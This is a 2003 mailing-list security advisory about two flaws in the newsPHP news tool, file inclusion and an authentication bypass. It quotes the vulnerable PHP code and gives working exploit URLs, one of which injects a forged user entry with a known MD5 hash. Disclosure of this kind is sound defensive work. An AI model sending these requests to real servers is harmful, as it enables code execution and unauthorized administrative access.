[UNIX] newsPHP Arbitrary File Inclusion and Insufficient Login Validation
From: SecuriTeam (support_at_securiteam.com)
Date: 08/27/03
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To: list@securiteam.com Date: 27 Aug 2003 10:24:25 +0200
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newsPHP Arbitrary File Inclusion and Insufficient Login Validation
------------------------------------------------------------------------
SUMMARY
<http://www.nphp.net/> NewsPHP is "a news administration tool designed
for webmasters. It allows you to give other people the ability to post
news to your web site without having to give them FTP access". Two
security vulnerabilities in the product allow remote attackers to include
arbitrary files (and get them executed) and access the product's internal
functions without needing to authenticate properly.
DETAILS
Vulnerable systems:
* newsPHP version 216 RC2
Arbitrary File Inclusion:
A remote attacker can include any existing file on the web server, if the
LangFile is not set in config (it is not set by default).
Vulnerable PHP Code:
-- from nphpd.php
if(isset($nphp_config["LangFile"]))
{
if(strtolower($nphp_config["LangFile"]) != "default" &&
$nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
{
include($nphp_config["LangFile"]);
}
}
Exploit:
http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file
Insufficient Login Validation:
User can perform any other action beside 'login', without knowing a valid
password and valid username combination.
Vulnerable PHP Code:
-- from nfunc.php
function LoadSettings(&$config, &$users)
[...]
$users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
[...]
-- from nphpd.php
[...]
LoadSettings($nphp_config, $nphp_users);
[...]
for($i = 0; $i < count($nphp_users); $i++)
{
if((strtolower($nphp_users[$i][0]) ==
strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
{
Exploit:
http://[host]/nphp/?[action here, example: output]&
pword=a&
uname=[fake usernamehere]&
nphp_users[user index here][0]=a&
nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
nphp_users[user index here][3]=5
Note:
md5('a') is '0cc175b9c0f1b6a831c399e269772661'
ADDITIONAL INFORMATION
The information has been provided by <mailto:officerrr@poligon.com.pl>
Dariusz 'Officerrr' Kolasinski.
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